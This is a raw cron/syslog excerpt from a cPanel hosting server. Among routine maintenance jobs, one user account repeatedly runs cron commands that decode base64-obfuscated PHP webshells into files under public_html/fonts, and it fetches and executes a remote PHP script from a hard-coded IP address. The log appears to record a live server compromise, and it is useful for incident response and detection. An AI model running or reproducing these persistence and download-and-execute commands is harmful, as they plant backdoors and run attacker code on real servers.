Aug 31 18:55:01 ip-184-168-122-23 CROND[14336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:55:01 ip-184-168-122-23 CROND[14339]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 18:55:01 ip-184-168-122-23 CROND[14344]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 18:55:01 ip-184-168-122-23 CROND[14343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:56:01 ip-184-168-122-23 CROND[14430]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:56:01 ip-184-168-122-23 CROND[14435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:56:01 ip-184-168-122-23 CROND[14432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:56:01 ip-184-168-122-23 CROND[14434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:56:01 ip-184-168-122-23 CROND[14433]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 18:57:01 ip-184-168-122-23 CROND[14610]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:57:01 ip-184-168-122-23 CROND[14611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:57:01 ip-184-168-122-23 CROND[14612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:57:01 ip-184-168-122-23 CROND[14613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:58:01 ip-184-168-122-23 CROND[14696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:58:01 ip-184-168-122-23 CROND[14699]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 18:58:01 ip-184-168-122-23 CROND[14698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:58:01 ip-184-168-122-23 CROND[14700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:58:01 ip-184-168-122-23 CROND[14701]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:59:01 ip-184-168-122-23 CROND[14791]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:59:01 ip-184-168-122-23 CROND[14792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:59:01 ip-184-168-122-23 CROND[14793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:59:01 ip-184-168-122-23 CROND[14796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:00:01 ip-184-168-122-23 CROND[14900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:00:01 ip-184-168-122-23 CROND[14907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:00:01 ip-184-168-122-23 CROND[14902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:00:01 ip-184-168-122-23 CROND[14903]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:00:01 ip-184-168-122-23 CROND[14905]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 19:00:01 ip-184-168-122-23 CROND[14906]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 19:00:01 ip-184-168-122-23 CROND[14910]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 19:00:01 ip-184-168-122-23 CROND[14909]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 19:01:01 ip-184-168-122-23 CROND[15007]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 19:01:01 ip-184-168-122-23 CROND[15013]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[15007]: starting 0anacron
Aug 31 19:01:01 ip-184-168-122-23 CROND[15019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:01:01 ip-184-168-122-23 CROND[15020]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 19:01:01 ip-184-168-122-23 CROND[15022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:01:01 ip-184-168-122-23 CROND[15025]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[15032]: finished 0anacron
Aug 31 19:02:01 ip-184-168-122-23 CROND[15112]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:02:01 ip-184-168-122-23 CROND[15114]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 19:02:01 ip-184-168-122-23 CROND[15116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:02:01 ip-184-168-122-23 CROND[15115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:02:01 ip-184-168-122-23 CROND[15117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:03:01 ip-184-168-122-23 CROND[15273]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:03:01 ip-184-168-122-23 CROND[15275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:03:01 ip-184-168-122-23 CROND[15277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:03:01 ip-184-168-122-23 CROND[15276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:04:01 ip-184-168-122-23 CROND[15358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:04:01 ip-184-168-122-23 CROND[15359]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 19:04:01 ip-184-168-122-23 CROND[15361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:04:01 ip-184-168-122-23 CROND[15362]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:04:01 ip-184-168-122-23 CROND[15363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:05:01 ip-184-168-122-23 CROND[15471]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:05:01 ip-184-168-122-23 CROND[15473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:05:01 ip-184-168-122-23 CROND[15474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:05:01 ip-184-168-122-23 CROND[15475]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 19:05:01 ip-184-168-122-23 CROND[15477]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 19:05:01 ip-184-168-122-23 CROND[15476]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 19:05:01 ip-184-168-122-23 CROND[15479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:06:02 ip-184-168-122-23 CROND[15574]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:06:02 ip-184-168-122-23 CROND[15576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:06:02 ip-184-168-122-23 CROND[15578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:06:02 ip-184-168-122-23 CROND[15579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:06:02 ip-184-168-122-23 CROND[15577]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 19:07:01 ip-184-168-122-23 CROND[15666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:07:01 ip-184-168-122-23 CROND[15667]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
